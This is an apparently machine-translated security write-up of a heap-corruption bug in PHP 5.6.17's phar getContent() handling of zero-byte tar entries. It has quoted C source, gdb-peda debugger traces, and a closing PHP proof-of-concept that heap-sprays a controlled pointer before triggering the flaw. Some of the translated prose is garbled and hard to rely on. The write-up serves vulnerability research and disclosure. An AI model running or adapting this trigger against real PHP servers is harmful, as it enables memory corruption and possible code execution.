Parse . tar/. zip/. phar
file, the stack boundary condition control is not strict, leading to possible heap overflow
.
Create a new empty file"aaaa"(0 byte), packaged into a "aaaa. tar"file is not compressed before the aaaa
file size is 0
it. By PharFileInfo
object getContent()
method to get the aaaa
the contents of the file, for example: var_dump($phar['aaaa']->getContent());
View getContent
internal implementation of the source code as follows:
``php ext/phar/phar_object. c:
PHP_METHOD(PharFileInfo, getContent) { …snip… Z_TYPE_P(return_value) = IS_STRING; Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);
if (! Z_STRVAL_P(return_value)) {
Z_STRVAL_P(return_value) = estrndup("", 0);
}
… } ``
aaaa
the file size is 0
, so the transfer to the php_stream_copy_to_mem
function for processing, as follows:
``php main/streams/streams. c:
PHPAPI size_t _php_stream_copy_to_mem(php_stream _src, char __buf, size_t maxlen, int persistent STREAMS_DC TSRMLS_DC) { …snip… if (maxlen == 0) { return 0; } … if (maxlen > 0) { ptr = _buf = pemalloc_rel_orig(maxlen + 1, persistent); while ((len < maxlen) && ! php_stream_eof(src)) { ret = php_stream_read(src, ptr, maxlen - len); … } ``
From the above code, as can be seen, If maxlen == 0
, it will return 0, which is ok, but the function of the second parameter char **buf
, will be allocated on the heap a space, from the current file pointer of the read data.
Now return to the previous function analysis, the variable zval return_value
was uninitialized variables, return_value->str. val
will be a pointer before calling the function is assigned the heap address points to the space, the gdb Debugger as follows:
`` => 0x817aacc : call 0x8267ad0 <_php_stream_copy_to_mem> 0x817aad1 : mov ecx,DWORD PTR [esp+0x54] 0x817aad5 : mov DWORD PTR [ecx+0x4],eax 0x817aad8 : mov eax,DWORD PTR [ecx] 0x817aada : test eax,eax Guessed arguments: arg[0]: 0xf7bd9a04 –> 0x8806a40 –> 0x826cad0 (: push ebx) arg[1]: 0xf7bdd4b8 –> 0xf7bdd56c –> 0x1d arg[2]: 0x0 arg[3]: 0x0
Breakpoint 2, 0x0817aacc in zim_PharFileInfo_getContent (ht=0x0, return_value=0xf7bdd4b8, return_value_ptr=0xf7bbf094, this_ptr=0xf7bdd49c, return_value_used=0x1) at /root/fuzz/php-5.6.17/ext/phar/phar_object. c:4889 4889 Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0); ``
From the above it can be seen that the current return_value->str. val
is 0xf7bdd56c
.
As before the analysis above, maxlen==0
,_php_stream_copy_to_mem
returns 0 which is ok, but the function is called after the parameters*buf
=> return_value->str. val
retains the function calls process the data, as follows:
=> 0x817aad1 <zim_PharFileInfo_getContent+305>: mov ecx,DWORD PTR [esp+0x54] 0x817aad5 <zim_PharFileInfo_getContent+309>: mov DWORD PTR [ecx+0x4],eax 0x817aad8 <zim_PharFileInfo_getContent+312>: mov eax,DWORD PTR [ecx] 0x817aada <zim_PharFileInfo_getContent+314>: test eax,eax 0x817aadc <zim_PharFileInfo_getContent+316>: jne 0x817aa21 <zim_PharFileInfo_getContent+129> [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0817aad1 4889 Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0); gdb-peda$ x/10wx 0xf7bdd4b8 0xf7bdd4b8: 0xf7bdd56c 0x088086a0 0x00000001 0x00000006 0xf7bdd4c8: 0x00000000 0x00000010 0x0000001d 0x08820b20 0xf7bdd4d8: 0xf7bd97c4 0x00000091 gdb-peda$ print *(zval*)0xf7bdd4b8 $2 = { value = { lval = 0xf7bdd56c, dval = 1.0010109254636237 e-267, str = { val = 0xf7bdd56c "\035", len = 0x88086a0 }, ht = 0xf7bdd56c, obj = { handle = 0xf7bdd56c, handlers = 0x88086a0 <spl_filesystem_object_handlers> }, ast = 0xf7bdd56c }, refcount__gc = 0x1, type = 0x6, is_ref__gc = 0x0 }
0xf7bdd56c
remain in the ZVAL(return_value)
.
After this str. the val
pointer will be passed to _efree
to clean up the vm stack.
Somehow, I can manage 0xf7bdd56c
before the address, there is absolutely able to manage mm_block(ESI register)
of the next address, as follows:
`` zend_alloc. c:
static void _zend_mm_free_int(zend_mm_heap _heap, void * _p ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) { …
next_block = ZEND_MM_BLOCK_AT(mm_block, size);
if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
zend_mm_remove_from_free_list(heap, (zend_mm_free_block *) next_block);
size += ZEND_MM_FREE_BLOCK_SIZE(next_block);
}
… ``
We can take it over to the next address, and further control the stack
<?php
echo "Making .tar file...\n";
$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');
echo "Trigger...\n";
//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',0x13371337);
$p = new PharData($argv[1]);
// heap spray
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;
var_dump($p['aaaa']->getContent());
// If this poc doesnt work, please un-comment line below.
// var_dump($p);
?>